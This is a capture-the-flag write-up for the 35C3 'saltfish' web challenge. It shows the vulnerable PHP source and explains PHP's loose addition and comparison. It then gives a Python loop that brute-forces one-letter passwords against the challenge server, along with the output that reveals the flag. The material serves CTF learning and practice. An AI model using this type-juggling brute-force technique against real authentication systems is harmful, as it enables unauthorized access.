Dvd848 35C3 fb03d01 27 days ago

1 contributor

45 lines (38 sloc) 1.39 KB

saltfish

Web

Description:

> "I have been told that the best crackers in the world can do this under 60 minutes but unfortunately I need someone who can do this under 60 seconds." - Gabriel

Solution:

The contents of the website is:

```
<?php
  require_once('flag.php');
  if ($_ = @$_GET['pass']) {
    $ua = $_SERVER['HTTP_USER_AGENT'];
    if (md5($_) + $_[0] == md5($ua)) {
      if ($_[0] == md5($_[0] . $flag)[0]) {
        echo $flag;
      }
    }
  } else {
    highlight_file(__FILE__);
  }
```

Let `p` denote the first letter of the password. The MD5 of the password plus (note: in PHP this is treated as addition, not string append which is ".") `p` need to be equal the MD5 of the string sent by the user agent. Then, `p` needs to be equal to the first letter of the MD5 of `p` concatenated with the flag.

The simplest strategy is to just brute force:

```
for x in string.ascii_letters:
    password = x
    r = requests.get('http://35.207.89.211/?pass={}'.format(password), headers={'User-Agent': password})
    print(r.text)
```

The flag is printed after the second attempt:

```
<br />
<b>Warning</b>:  A non-numeric value encountered in <b>/var/www/html/index.php</b> on line <b>5</b><br
/>

<br />
<b>Warning</b>:  A non-numeric value encountered in <b>/var/www/html/index.php</b> on line <b>5</b><br
/>
35c3_password_saltf1sh_30_seconds_max
```